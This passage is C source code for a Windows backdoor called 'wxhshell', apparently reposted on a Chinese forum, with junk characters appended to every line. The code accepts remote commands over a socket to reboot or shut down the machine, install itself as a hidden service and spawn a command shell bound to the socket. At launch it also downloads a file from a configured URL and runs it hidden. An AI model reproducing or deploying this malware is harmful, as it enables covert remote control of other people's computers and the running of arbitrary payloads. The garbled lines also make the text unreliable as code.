  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n`I jG  
  } 23n8,} H,  
  else { 9:Z~}yX  
$d??(   
    switch(cmd[0]) { fdH'z:Xao  
  v8fZ?dx  
  // 帮助 ^%OH}Z`ly  
  case '?': { K/.hJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7rDRu]  
    break; PA-0FlV|  
  } 4oa P"T@6  
  // 安装 T[!q&kFB  
  case 'i': { HOQ _T4  
    if(Install()) ,E8>:-boL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"\T*lKa  
    else 3<' Q`H>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3L!&~'.Ro  
    break; #]\G*>{  
    } yI|?iBc7nC  
  // 卸载 vhe Ah`u^&  
  case 'r': { ) ImIPSL  
    if(Uninstall()) q2U"k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R^O)fL0_  
    else ?yM/j7Xn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2'^OtM,  
    break; N4]6LA6x6  
    } [N$_@[  
  // 显示 wxhshell 所在路径 ;51!a C  
  case 'p': { u$/2XO  
    char svExeFile[MAX_PATH]; E#V-F-@2  
    strcpy(svExeFile,"\n\r"); m=l3O:~J  
      strcat(svExeFile,ExeFile); j 8AR#  
        send(wsh,svExeFile,strlen(svExeFile),0); N{z(|2{A#  
    break; {|wTZ  
    } ,'{B+CHoS  
  // 重启 jxOVH+?l%  
  case 'b': { nhxd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K[;,/:Y  
    if(Boot(REBOOT)) U[ O!&:6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C\y' H5  
    else { A)a+LW'=u  
    closesocket(wsh); 4Jy,IKPp  
    ExitThread(0); j<-o{6r  
    } "N:]d*A\  
    break; V'hz1roe  
    } !<^j!'2  
  // 关机 @ DKl<F  
  case 'd': { pO+wJ|f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Fm? ,^  
    if(Boot(SHUTDOWN)) <?@46d?C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uo)<_nG  
    else { ~map5@Kd  
    closesocket(wsh); aeLo;!Jh  
    ExitThread(0); [&k k  
    } EBE>&{%$^  
    break; ,^[37/S  
    } LzSusjEW@  
  // 获取shell b020U>)v  
  case 's': { 7 ,~Krzv  
    CmdShell(wsh); ,ui'^8{gK  
    closesocket(wsh); jN{xpd  
    ExitThread(0); Jj!tRZT  
    break; 5:3$VWLa <  
  } T ]nR XW$  
  // 退出 Vw@x  
  case 'x': { 8r|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :H:}t>X6Vo  
    CloseIt(wsh); (=B7_jrl  
    break; ^ /eSby  
    } |2` $g  
  // 离开 sWzXl~JbF  
  case 'q': { KFG^vmrn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e7AI&5Eg{  
    closesocket(wsh); JV{!Ukuyp+  
    WSACleanup(); t7%Bv+Uo  
    exit(1); JKv4}bv  
    break; uXa}<=O  
        } R,Uy3N  
  } @!HMd{r  
  } 2>$L>2$  
! r\ktX  
  // 提示信息 wm[d5A4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fBh|:2u  
} g[)hm`{?  
  } 5W '|qmJ  
WZ-{K"56  
  return; Ybiz]1d  
} A^7Zy79  
Ev ,8?  
// shell模块句柄 Ekp 0.c8:  
int CmdShell(SOCKET sock) o6%f%:&  
{ MNE)<vw>  
STARTUPINFO si; v333z<<S  
ZeroMemory(&si,sizeof(si)); :#KURYO<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } +Z;zm@/6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ttt&sW`  
PROCESS_INFORMATION ProcessInfo; &,|uTIs  
char cmdline[]="cmd"; 9:5NX3"p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UZ0O j5B.  
  return 0; K`2DhJC  
} Z4sjH1W  
\K=PIcH  
// 自身启动模式 IUG .q8  
int StartFromService(void) Efd[ZJxS6  
{ `G{t<7[[;  
typedef struct HYa!$P3}[  
{ d u )G)~  
  DWORD ExitStatus; ?%n9g)>Yej  
  DWORD PebBaseAddress; v)pWx0l=  
  DWORD AffinityMask; W]]2Uo.  
  DWORD BasePriority; O/@[VPf  
  ULONG UniqueProcessId; [$+61n}.12  
  ULONG InheritedFromUniqueProcessId; ho<#i(  
}   PROCESS_BASIC_INFORMATION; nXW1:  
!9Xex?et  
PROCNTQSIP NtQueryInformationProcess; 3Or3@e5r  
Qp Vm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; </Lqk3S-!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hZG{"O!2 s  
P3>2=qK"E(  
  HANDLE             hProcess; 8\_,Y ji  
  PROCESS_BASIC_INFORMATION pbi; ^<b.j.$<z  
0+h?Bk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %uMsXa  
  if(NULL == hInst ) return 0; y[eNM6p  
Y^f|}YO%y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K|!)<6ZsG7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P1jkoJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V!!'S h  
,PAKPX9v_F  
  if (!NtQueryInformationProcess) return 0; G _o4A:2  
`;hBO#(H0}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xb;`WE gC  
  if(!hProcess) return 0; 3N\X{za  
?!vW&KJZx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .=D6<4#t  
:v48y.Ij7s  
  CloseHandle(hProcess); ;W:Q}[  
7%WI   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O;tn5  
if(hProcess==NULL) return 0; Vt>E\{@[t  
]t<%>Z$  
HMODULE hMod; > [7vX m4  
char procName[255]; 3EdPKM j&  
unsigned long cbNeeded; :eO0{JN4T  
nQC[[G*x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o!d0  
{[dqXG$v `  
  CloseHandle(hProcess); o)DKP>IM#  
JJa?"82FXZ  
if(strstr(procName,"services")) return 1; // 以服务启动 %vzpp\t  
jws(`mIf\  
  return 0; // 注册表启动 1uE[ %M  
} }zi6F.  
^.7xu/T  
// 主模块 u[@*}|uXM  
int StartWxhshell(LPSTR lpCmdLine) %*hBrjbj  
{ B dUyI_Ks:  
  SOCKET wsl; c0~'5Mlp  
BOOL val=TRUE; zSO9 U  
  int port=0; x;/3_"$9>\  
  struct sockaddr_in door; R/7l2*  
M,P_xkLp  
  if(wscfg.ws_autoins) Install(); !Ai;S  
yuq E  
port=atoi(lpCmdLine); 0&@6NW&Mu  
48VsHqG  
if(port<=0) port=wscfg.ws_port; vF 1$$7k  
,$>Z= ~x*  
  WSADATA data; U/X ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s,8%;\!C  
!LA#c'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] a()siT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #t*c*o  
  door.sin_family = AF_INET; 7t QiKrhp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _L ].n)b  
  door.sin_port = htons(port); M~4!gKs  
~f:fOrLE#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "`wq:$R  
closesocket(wsl); 2J5dZYW  
return 1; 8h=XQf6k0  
} c@P,  
dEn hNPeRl  
  if(listen(wsl,2) == INVALID_SOCKET) { *BV .zbGm  
closesocket(wsl); #;)7~69  
return 1; S3r\)5%;  
} >'eqOZM  
  Wxhshell(wsl); 78"W ~`8  
  WSACleanup(); VrG|/2  
!.A>)+AK  
return 0; SE1 tlP  
c4|.!AQ>  
} rXMv&]Ag  
m[XN,IE#u  
// 以NT服务方式启动 .0 K8h:I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 N(2[s_A  
{ -$r fu  
DWORD   status = 0; LxO'$oKZV  
  DWORD   specificError = 0xfffffff; 0J" 3RTt  
&W%TY:Da|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _nt%&f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cW2:D$Pe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,$Mw/fA  
  serviceStatus.dwWin32ExitCode     = 0; :d;5Q\C`  
  serviceStatus.dwServiceSpecificExitCode = 0; 2t'&7>Ys{  
  serviceStatus.dwCheckPoint       = 0; _<8y^ymo  
  serviceStatus.dwWaitHint       = 0; @QEV l  
&nss[w$%C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gV c[`( @h  
  if (hServiceStatusHandle==0) return; b< rM3P;  
Lv"83$^S9  
status = GetLastError(); W~qo `r  
  if (status!=NO_ERROR) uE2Y n`Ha  
{ 7g$t$cZby,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QZY (S*Up  
    serviceStatus.dwCheckPoint       = 0; VmW_,  
    serviceStatus.dwWaitHint       = 0; b({2|R  
    serviceStatus.dwWin32ExitCode     = status; cjL!$OE6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;%)i/MGEB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oj/tim  
    return; %2{E'^#)p-  
  } BBDOjhik  
hf '3yEm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2+'&||h  
  serviceStatus.dwCheckPoint       = 0; z"-Urd^O  
  serviceStatus.dwWaitHint       = 0; <5.{+!BM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0-FbV,:;  
} +RM3EvglDQ  
cGD A0#r  
// 处理NT服务事件,比如:启动、停止 (8{Z@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (]JJ?aAF  
{ T'XRl@  
switch(fdwControl) OCd[P1Y]  
{ SaNx;xgi  
case SERVICE_CONTROL_STOP: $]vR,E  
  serviceStatus.dwWin32ExitCode = 0; B3D4fYQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J]%P fWV  
  serviceStatus.dwCheckPoint   = 0; `U1"WcN  
  serviceStatus.dwWaitHint     = 0; 3ySnAAG  
  { 3+Q6<MS q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IRQ(/:]  
  } X!@Gv:TD  
  return; `>V.}K^4  
case SERVICE_CONTROL_PAUSE: ZE9*i}r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /swTn1<Y  
  break; P _ SJK  
case SERVICE_CONTROL_CONTINUE: _tjH=Ff$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %w@(V([(c  
  break; 1 >Op)T>{c  
case SERVICE_CONTROL_INTERROGATE: =\3*;59\  
  break; i|<*EXB"  
}; 4bO7rhve  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;$g,2n  
} DN!EsQ6  
T]:5y_4?[  
// 标准应用程序主函数 PU8R 0r2k\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k";;Snk  
{ 0-5:"SN'  
$R^"~|m3M  
// 获取操作系统版本 h1BdASn_  
OsIsNt=GetOsVer(); H=dj\Br`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /f#sg7)  
T57S!CJ^$5  
  // 从命令行安装 6V8"[0U  
  if(strpbrk(lpCmdLine,"iI")) Install(); P -Pt{:  
~6OdPD  
  // 下载执行文件 NENbr$,G  
if(wscfg.ws_downexe) { {\%x{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .VI2V-Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Un<~P@T%  
} (YR1ML3N  
F2u{Wzr_@  
if(!OsIsNt) { bZ389dSn  
// 如果时win9x,隐藏进程并且设置为注册表启动 i^n&K:6  
HideProc(); {{O1C ~  
StartWxhshell(lpCmdLine); y.>r>o"0  
} {U4%aoBd8  
else 6PTD%Rf\  
  if(StartFromService()) ,0~'#x>  
  // 以服务方式启动 |OC6yN *P)  
  StartServiceCtrlDispatcher(DispatchTable); wk3yz6V2  
else )qKfTt N`  
  // 普通方式启动 6L2.88 i  
  StartWxhshell(lpCmdLine); ^v,^.>P  
0uZHH  
return 0; Di&tm1R1  
}
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只看该作者 1 发表于: 2006-10-10
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